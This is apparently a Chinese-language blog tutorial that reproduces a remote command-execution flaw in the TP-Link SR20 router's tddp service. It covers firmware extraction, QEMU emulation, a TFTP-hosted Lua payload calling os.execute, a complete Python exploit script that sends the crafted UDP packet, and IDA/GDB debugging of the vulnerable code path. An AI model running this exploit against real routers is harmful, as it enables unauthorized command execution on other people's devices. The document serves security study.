环境搭建
SR20固件
SR20的固件,直接官网,ubuntu终端wget下面链接
https://static.tp-link.com/2018/201806/20180611/SR20(US)_V1_180518.zip
对其进行解压,获取tpra_sr20v1_us-up-ver1-2-1-P522_20180518-rel77140_2018-05-21_08.42.04.bin
文件,并使用binwalk提取固件映像,-M为递归扫描,-e为提取所有文件
成功后会有一个下划线开头的目录,由于名字过长,我这边就先写命名为tpra
了,进入tpra
目录可以看到squashfs-root
,这就是固件的文件系统,最后看下主角tddp的文件类型
qemu
使用qemu对其进行模拟,ubuntu直接终端执行下面命令就可以下载了
sudo apt-get install qemu-user qemu-system
执行完毕,tab这样子,就成了
可以先尝试使用qemu用户模式模拟arm程序,由于我电脑有点问题所以没办法,最后结果是可以运行该程序,但是无法触发该漏洞,感兴趣的朋友可以自己试下,接下来我们使用qemu系统模式来模拟固件的文件系统,qemu系统模拟需要系统内核镜像、文件系统和共享三个文件,可以在Debian 官网(https://people.debian.org/~aurel32/qemu/armhf/
)下载
启动命令官网下面也有,只需要添加网络选项,即可
为了和虚拟机通信我们需要添加一张虚拟网卡,这种方法qemu虚拟出来的无法访问外网
sudo tunctl -t tap0 -u whoami
sudo ifconfig tap0 10.10.10.1/24
qemu-system-arm -M vexpress-a9 -kernel vmlinuz-3.2.0-4-vexpress -initrd initrd.img-3.2.0-4-vexpress -drive if=sd,file=debian_wheezy_armhf_standard.qcow2 -append "root=/dev/mmcblk0p2 console=ttyAMA0" -net nic -net tap -nographic
三条命令执行完后,等一下,出现下图就恭喜你就成功了,账号密码都是root
配置qemu模拟的网卡,使其可以通信
另起一个终端,把固件文件系统传到qemu模拟出来的
使用chroot切换根目录到固件文件系统,之前先挂载/dev和/proc文件,防止模拟出来的损坏,在运行漏洞程序
mount -o bind /dev ./squashfs-root/dev/
mount -t proc /proc/ ./squashfs-root/proc/
chroot squashfs-root sh
atftp服务
另起一个终端,搭建tftp服务,在终端运行sudo apt install atftpd
即可,在/srv/tftp
目录下写payload文件
function config_test(config)
os.execute("uname -a")
end
漏洞复现
重新启动atfp服务sudo systemctl restart atftpd
,并编写exp.py文件如下
import sys
import binascii
import socket
port_send = 1040
port_receive = 61000
tddp_ver = "01"
tddp_command = "31"
tddp_req = "01"
tddp_reply = "00"
tddp_padding = "%0.16X" % 00
tddp_packet = "".join([tddp_ver, tddp_command, tddp_req, tddp_reply, tddp_padding])
sock_receive = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock_receive.bind(('', port_receive))
sock_send = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
packet = binascii.unhexlify(tddp_packet)
argument = "%s;hunzi" % sys.argv[2]
packet = packet + argument.encode()
sock_send.sendto(packet, (sys.argv[1], port_send))
sock_send.close()
最后运行exp.py文件,如下图,恭喜你哈,环境到此结束
调试
这里使用IDA+GDB调试,因为这个组合几乎可以通杀所有平台,只要要把gdbserver放到被调试到主机运行即可,gdbserver不同架构不同版本,可以直接在网上找对应的,也可用下面链接
https://gitee.com/h4lo1/HatLab_Tools_Library/tree/master/%E9%9D%99%E6%80%81%E7%BC%96%E8%AF%91%E8%B0%83%E8%AF%95%E7%A8%8B%E5%BA%8F/gdbserver
下载对应的版本后,传到对应的主机并运行
配置IDA,把tddp程序拷贝出来,并在_start函数打断点
按两次F9,到达断点位置
可以让程序运行到函数sub_971C,查看伪代码
双击sub_16C90,查看该函数伪代码,根据第5行calloc
函数和循环赋值为0,不难猜出sub_16C90主要是分配内存,分配成功则返回0
返回sub_971C函数,在进入sub_936C函数查看伪代码,可以看到输出tddp启动信息,
在sub_936C函数里,可以看到大概逻辑是不进入if就会退出,进入if后其他函数获取时间,而进入sub_16418函数发现该函数在接收数据
我们可以在汇编打recvfrom函数底下打断点,recvfrom函数底下一行是用来储存返回值,第二行是赋值给上面的v18
接下来F4让程序运行到断点处,会转到如下位置,没有错,这是在接收数据,运行exp即可,在F9就可以到达刚才断点处
当程序运行到sub_16418函数第37行时,R3寄存器为接收数据的的起始指针,再到堆里面找到对应地址可以看到咱们exp发送请求包的数据包
根据前面接收数据地址是v14+45083,所以可以得到R3寄存器地址减去45083就是v14地址,可以得到v14地址为0x22160,根据发现执行sub_15AD8函数肯定返回1,其次是为了把宿主机ip地址存储起来
由于v2是接收收据的第一个字节,其次subsub_15AD8函数返回1,而sub_9340用来获取时间,所以会进入sub_15E74函数,可以看到switch函数在判断接收收据的第二个字节
判断后进入到case 0x31,于是到sub_A580函数,可以看到该函数的v14和v20都指向接收数据的地址,之所以前面exp这行代码argument = "%s;hunzi" % sys.argv[2]
带;hunzi
是因为在第59行判断s(分号前面)和v11(分号后面),两个任何一个没数据,都会退出去
转换ip地址为小数点的,最终lua加载payload文件并执行
大家可以关注菜鸡的公众号,有什么好想法也可以让我学习一下,有什么问题可以一块解决,由于二维码违规,下面是base64编码的文字
5b6u5L+h5YWs5LyX5Y+34oCc5a6J5YWo5re35a2Q4oCd77yM5Y+v5Lul55So5b6u5L+h5pCc5LiA5pCc77yM5q2j5Zyo5a6M5ZaE5LitLi4uLi4u